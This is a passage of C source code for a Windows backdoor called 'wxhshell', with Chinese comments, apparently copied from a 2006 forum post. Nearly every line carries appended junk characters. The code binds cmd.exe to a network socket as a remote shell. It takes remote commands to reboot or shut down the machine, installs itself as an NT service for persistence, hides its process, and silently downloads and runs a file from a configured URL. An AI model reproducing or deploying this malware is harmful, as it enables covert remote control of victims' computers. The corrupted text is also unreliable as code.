  // 帮助 M?QQr~a  
  case '?': { 6s> sj7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~W2:NQ>i  
    break; 9yO{JgKA  
  } USlF+RY@3L  
  // 安装 B?$S~5  }  
  case 'i': { +ZY2a7uI  
    if(Install()) b5lk0jA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &8pCHGmV)  
    else <)r,CiS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0*/mc96  
    break; (xI)"{   
    } Tnzco  
  // 卸载 VaOpO8y`  
  case 'r': { AN|jFSQ'  
    if(Uninstall()) 4he v ;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z&AHM &,yj  
    else r)) $XM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6-)7:9y  
    break; =x|##7  
    } Bl>_&A)  
  // 显示 wxhshell 所在路径 !l sy&6  
  case 'p': {  Oz"@yL}  
    char svExeFile[MAX_PATH]; e-L5=B  
    strcpy(svExeFile,"\n\r"); 67Af} >Q  
      strcat(svExeFile,ExeFile); XLkL#&Ir  
        send(wsh,svExeFile,strlen(svExeFile),0); U>e3_td3,  
    break; 6n2Vx1b  
    } _ C7abw-  
  // 重启 2hjre3"?  
  case 'b': { (O M?aW  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .6lY*LI  
    if(Boot(REBOOT)) Y&ct+w]%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MAm1w'ol"  
    else { oO!1  
    closesocket(wsh); (mD-FR@#  
    ExitThread(0); /\IAr,w[  
    } z*??YUT\M  
    break; X ,V= od>  
    } GC5#1+fQ  
  // 关机 U89]?^|bb  
  case 'd': { L%c]%3A  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8:3oH!n  
    if(Boot(SHUTDOWN)) YyQf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @lb=-oR!~  
    else { pgLzFY['  
    closesocket(wsh); >S?C {_g  
    ExitThread(0); PCV58n3  
    } pfJVE  
    break; n?<# {$  
    } .N2nJ/   
  // 获取shell EOd.Tyb!/  
  case 's': { *IMF4 x5M  
    CmdShell(wsh); >oM9~7f  
    closesocket(wsh); =]5DYRhX]  
    ExitThread(0); y]~+`9  
    break; |!jYv'%  
  } 7?n* t  
  // 退出 (hRgYwUa<  
  case 'x': { 89:?.'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mVc'%cPaw  
    CloseIt(wsh); {2'74  
    break; } kh/mq  
    } +O.&64(  
  // 离开 Egjk^:@  
  case 'q': { 9TbS>o  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :F KYYH\  
    closesocket(wsh); thlpj*|  
    WSACleanup(); SoXX}<~E4  
    exit(1); ~P"!DaAf  
    break; B BApL{  
        } cpr{b8Xb8&  
  } tF;& x g  
  } ,oBk>  
6N)< o ;U  
  // 提示信息 aPY>fy^8D  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 82Z[eo  
} E,ZB;  
  } V1CSXY\2  
M<M# < kD  
  return; A .jp<>  
} \gJapx(  
Hb@G*L$  
// shell模块句柄 7(+OsE  
int CmdShell(SOCKET sock) e GqvnNv  
{ ' 5OVs:)"^  
STARTUPINFO si; }LHT#{+ x  
ZeroMemory(&si,sizeof(si)); \Z6gXO_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !S > |Qh  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ziB]S@U  
PROCESS_INFORMATION ProcessInfo; xsY>{/C  
char cmdline[]="cmd"; dEAAm=K,<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2EqsfU* I  
  return 0; +,{Wcb  
} <g/(wSl  
H8o%H=I%  
// 自身启动模式 8 /RfNGY  
int StartFromService(void) >2/wzsW  
{ QBPvGnb  
typedef struct H>X\C;X[  
{ Jegx[*O>b  
  DWORD ExitStatus; yG4LQE  
  DWORD PebBaseAddress; +qSr=Y:+  
  DWORD AffinityMask; #0YzPMV  
  DWORD BasePriority; Ck/_UY|  
  ULONG UniqueProcessId; D<D k1  
  ULONG InheritedFromUniqueProcessId; nM(=bEX  
}   PROCESS_BASIC_INFORMATION; cV=_G E  
'7O{*=`oj  
PROCNTQSIP NtQueryInformationProcess; v,!Y=8~9  
s:m<(8WRw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; tsSS31cv  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; eN2k8=  
UVoLHd  
  HANDLE             hProcess; kb}]sj  
  PROCESS_BASIC_INFORMATION pbi; xJF6l!`  
jt10gVC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^b `>/>  
  if(NULL == hInst ) return 0; jN'fm  
VATXsD  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^b|Nw:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3qxG?G N  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Vf,~MG  
h2/1S{/n]  
  if (!NtQueryInformationProcess) return 0; hOrk^iYN=  
+ k(3+b$S-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ) R a/  
  if(!hProcess) return 0; RwE*0 T  
Cf1wM:K|8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; SFk11  
`9Q,=D+  
  CloseHandle(hProcess); \Zz= 4 j  
8a$jO+UvN  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lA Ck$E  
if(hProcess==NULL) return 0; x}8T[  
h7W%}6Cqkw  
HMODULE hMod; f'i8Mm4IL  
char procName[255]; =Q=&Ucf_  
unsigned long cbNeeded; fFTvf0j  
B,m$ur#$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }2!5#/^~  
3EW f|6RI  
  CloseHandle(hProcess); XpAq=p0;  
"TH-A6v1  
if(strstr(procName,"services")) return 1; // 以服务启动 O"s`-OM;n  
^* /v,+01f  
  return 0; // 注册表启动 3W0E6H"  
} 1~xn[acy  
{ d2f)ra.  
// 主模块 |>o0d~s  
int StartWxhshell(LPSTR lpCmdLine) 6L6~IXL>  
{ -JQg ~1  
  SOCKET wsl; }A'<?d8   
BOOL val=TRUE; Hb AMoow!  
  int port=0; MCrO]N($b  
  struct sockaddr_in door; l^eNZ3:H  
<1 1Tqb  
  if(wscfg.ws_autoins) Install(); J&U0y  
8,H5G`  
port=atoi(lpCmdLine); t ]I(98pY  
vhquHy.qi#  
if(port<=0) port=wscfg.ws_port; Q"K>ML>0  
A7,$y!D  
  WSADATA data; 2p;}wYt  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n.qxxzEN  
C=_-p"O#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +D-+}&oW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \F+o=  
  door.sin_family = AF_INET; >LaL! PnZ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3 ws(uF9$  
  door.sin_port = htons(port); wyA(}iSq  
~G ^}2#5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 53+rpU_  
closesocket(wsl); d_7Xlp@  
return 1; gjN!_^ _  
} .]ZuG  
acju!,G  
  if(listen(wsl,2) == INVALID_SOCKET) { Py25k 0j!  
closesocket(wsl); c'Tu,-  
return 1; 7D~O/#dcc  
} SnF[mN'  
  Wxhshell(wsl); _Il9s#NA%  
  WSACleanup(); *I1W+W`G  
3w:Z4]J  
return 0; jUR #  
Z2j*%/  
} xjbyI_D  
llG#nDe  
// 以NT服务方式启动 g Wv+i/,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >=W#z  
{ JO^ [@  
DWORD   status = 0; ^Er`{|o6u  
  DWORD   specificError = 0xfffffff; nh&<fnh  
q {+poV X  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Yg,WdVI&@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 56 kgL;$h  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1o8"==n%  
  serviceStatus.dwWin32ExitCode     = 0; <C96]}/ ?  
  serviceStatus.dwServiceSpecificExitCode = 0; k42ur)pb  
  serviceStatus.dwCheckPoint       = 0; sv6U%qV  
  serviceStatus.dwWaitHint       = 0; DMxS-hl  
+G[HZ,FL  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |mE +f]7$  
  if (hServiceStatusHandle==0) return; H|:)K^o  
9-iB?a7{.  
status = GetLastError(); m^x\@!N:(  
  if (status!=NO_ERROR) q.b4m 'J  
{ PXu<4VF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; g!Yh=kA'N  
    serviceStatus.dwCheckPoint       = 0; MH8%-UV  
    serviceStatus.dwWaitHint       = 0; Z#t)Z "  
    serviceStatus.dwWin32ExitCode     = status; 6F&]Mk]V8  
    serviceStatus.dwServiceSpecificExitCode = specificError; K2MNaB   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8EEQV}4  
    return; IS4K$Ac.  
  } W#\};P  
Z#:@M[HH{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $H@)hY8wA  
  serviceStatus.dwCheckPoint       = 0; 2CgIY89O  
  serviceStatus.dwWaitHint       = 0; 6')SJ*|yS  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jMWwu+w  
} +U)|&1oa  
bnY8.Lpf|  
// 处理NT服务事件,比如:启动、停止 UpseU8Wo  
VOID WINAPI NTServiceHandler(DWORD fdwControl) FRQ("6(  
{ jLS]^|  
switch(fdwControl) {ro!OuA  
{ +Y]*>afG  
case SERVICE_CONTROL_STOP: *`pBQZn05O  
  serviceStatus.dwWin32ExitCode = 0; la{uJ9Iw@}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; PZg]zz=V4  
  serviceStatus.dwCheckPoint   = 0; uvv-lAbjw  
  serviceStatus.dwWaitHint     = 0; [%,=0P}  
  { s i.a]k/f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~(L+4]  
  } [K@!JY  
  return; ~)IJE+e>}  
case SERVICE_CONTROL_PAUSE: 'L59\y8H  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "v(]"L  
  break; `/ReJj&~  
case SERVICE_CONTROL_CONTINUE: uWtS83i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )[X!/KR90  
  break; )bU")  
case SERVICE_CONTROL_INTERROGATE: fvMhq:Bu  
  break; bK;a V&  
}; IeI% X\G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NWwtq&pz2  
} 0Ilvr]1a4  
[Q_| 6Di  
// 标准应用程序主函数 Ul0<Zxv  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) UZ3Aq12U}a  
{ \bA'Furp  
4m!3P"$  
// 获取操作系统版本 j?hyN@ns  
OsIsNt=GetOsVer(); pz}hh^]t  
GetModuleFileName(NULL,ExeFile,MAX_PATH); tUF]f6  
1gej$G@  
  // 从命令行安装 J7^T!7V.  
  if(strpbrk(lpCmdLine,"iI")) Install(); xQ 3u  
U9sub6w6  
  // 下载执行文件 '?GZ"C2  
if(wscfg.ws_downexe) { @5VZ   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) kGiw?~t=%  
  WinExec(wscfg.ws_filenam,SW_HIDE);  !Ocg  
} tU/NwA"  
a(T4WDl^  
if(!OsIsNt) { <G?85*Nv_  
// 如果时win9x,隐藏进程并且设置为注册表启动 6-}e-H  
HideProc(); .V:<w~=b  
StartWxhshell(lpCmdLine); < ^!eaBR4  
} >,vW  
else ?'m5)Z{  
  if(StartFromService()) x)Kh _G  
  // 以服务方式启动 'c(Y")QP  
  StartServiceCtrlDispatcher(DispatchTable); ~cj:AIF  
else E?D{/ k,zZ  
  // 普通方式启动 FGhrf  
  StartWxhshell(lpCmdLine); 0M2+?aKif  
]!o,S{a&  
return 0; 5<?$/H|7T  
}
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只看该作者 1 发表于: 2006-10-10
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